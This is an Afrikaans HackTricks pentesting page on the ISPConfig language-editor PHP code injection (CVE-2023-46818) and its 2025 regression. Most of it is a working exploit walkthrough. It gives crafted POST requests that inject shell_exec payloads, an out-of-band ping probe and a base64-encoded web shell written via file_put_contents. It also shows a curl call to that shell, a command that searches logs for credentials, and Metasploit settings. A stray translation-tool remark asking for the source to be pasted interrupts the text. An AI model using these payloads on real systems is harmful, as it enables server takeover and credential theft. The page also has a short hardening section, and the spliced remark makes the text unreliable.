ISPConfig
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Oorsig
ISPConfig is ’n open-source hosting beheerpaneel. Oudere 3.2.x-bouwerkies het ’n taal-lêerredigeerderfunksie gehad wat, wanneer dit vir die superadministrateur aangeskakel was, arbitraire PHP-kode-inspuiting via ’n wanvormige vertaalrekord toegelaat het. Dit kan RCE in die webbediener-konteks oplewer en, afhangend van hoe PHP uitgevoer word, privilegie-eskalasie moontlik maak.
Belangrike standaardpade:
- Webwortel is dikwels by
/var/www/ispconfigwanneer dit metphp -Sbedien word of via Apache/nginx. - Admin UI bereikbaar op die HTTP(S) vhost (soms slegs aan localhost gebind; gebruik SSH port-forward indien nodig).
Wenk: As die paneel plaaslik gebind is (bv. 127.0.0.1:8080), stuur dit deur:
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001
Taalredigeerder PHP code injection (CVE-2023-46818)
- Geaffekteer: ISPConfig tot en met 3.2.11 (reggestel in 3.2.11p1)
- Voorwaardes:
- Teken in as die ingeboude superadmin-rekening
admin(ander rolle word volgens die vendor nie geaffekteer nie) - Taalredigeerder moet geaktiveer wees:
admin_allow_langedit=yesin/usr/local/ispconfig/security/security_settings.ini - Impak: Geverifieerde admin kan ewekansige PHP inspuit wat in ’n taal-lêer geskryf en deur die toepassing uitgevoer word, en sodoende RCE in die web-konteks bewerkstellig
Verwysings: NVD-inskrywing CVE-2023-46818 en vendor advisory-link in die Verwysings-afdeling hieronder.
Handmatige eksploitasie-vloei
- Open/create a language file to obtain CSRF tokens
Stuur ’n eerste POST om die vorm te inisieer en ontleed die CSRF-velde uit die HTML-antwoord (csrf_id, csrf_key). Voorbeeld aanvraagpad: /admin/language_edit.php.
- Inject PHP via records[] and save
Stuur ’n tweede POST wat die CSRF-velde en ’n kwaadwillige vertaalsrekord insluit. Minimale command-execution probes:
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
Out-of-band toets (waarneming van ICMP):
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
- Skryf lêers en drop ’n webshell
Gebruik file_put_contents om ’n lêer onder ’n web-toeganklike pad (bv. admin/) te skep:
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
Skryf dan ’n eenvoudige webshell wat base64 gebruik om slegte karakters in die POST body te vermy:
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
Ek sien nie die inhoud van src/network-services-pentesting/pentesting-web/ispconfig.md nie. Plak asseblief die Markdown-inhoud hier, en ek sal dit na Afrikaans vertaal terwyl ek alle kode, tags, skakels en paadjies onveranderd laat.
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
As PHP as root uitgevoer word (bv. via php -S 127.0.0.1:8080 gestart deur root), lei dit tot onmiddellike root RCE. Andersins kry jy kode-uitvoering as die webserver-gebruiker.
2025 regressie (ISPConfig 3.3.0 / 3.3.0p1)
Die taalredigeerder-bug het weer opgeduik in 3.3.0/3.3.0p1 en is reggestel in 3.3.0p2. Voorwaardes bly onveranderd (admin_allow_langedit en admin login). Dieselfde patch het ook ’n monitor XSS en wêreld-leesbare geroteerde logs aangespreek.
Aantekeninge:
- Op 3.3.0/3.3.0p1 kan wêreld-leesbare geroteerde logs onder
/usr/local/ispconfig/interface/log/credentials leak indien debug logging geaktiveer was:
find /usr/local/ispconfig/interface/log -type f -perm -004 -name '*.gz' -exec zcat {} + | head
- Exploit-stappe stem ooreen met CVE-2023-46818; 3.3.0p2 voeg ekstra kontroles by voordat taalredigering toegelaat word.
Python PoC
’n Kant-en-klare exploit outomatiseer tokenhantering en payload-lewering:
Voorbeelduitvoering:
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
Metasploit module (vrygestel Julie 2025)
Rapid7 het exploit/linux/http/ispconfig_lang_edit_php_code_injection bygevoeg, wat admin_allow_langedit outomaties kan aktiveer as die verskafde admin account system-config rights het.
use exploit/linux/http/ispconfig_lang_edit_php_code_injection
set RHOSTS 10.10.10.50
set RPORT 8080
set USERNAME admin
set PASSWORD <admin_pass>
set TARGETURI /
run
Die module skryf ’n base64-encoded payload deur records[] en voer dit uit, wat ’n PHP Meterpreter of pasgemaakte payload lewer.
Verharding
- Opgradeer na 3.2.11p1 of later vir die oorspronklike probleem, en na 3.3.0p2 of later vir die 2025-regressie.
- Deaktiveer die taalredigeerder tensy dit streng nodig is:
admin_allow_langedit=no
- Vermy om die paneel as root te laat loop; konfigureer PHP-FPM of die web server om die voorregte te beperk
- Handhaaf sterk verifikasie vir die ingeboude
admin-rekening
Verwysings
- ISPConfig 3.2.11p1 Released (fixes language editor code injection)
- CVE-2023-46818 – NVD
- bipbopbup/CVE-2023-46818-python-exploit
- HTB Nocturnal: Root via ISPConfig language editor RCE
- ISPConfig 3.3.0p2 Released – Security Update
- CXSecurity WLB-2025070017 – Metasploit module for ISPConfig language_edit.php
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


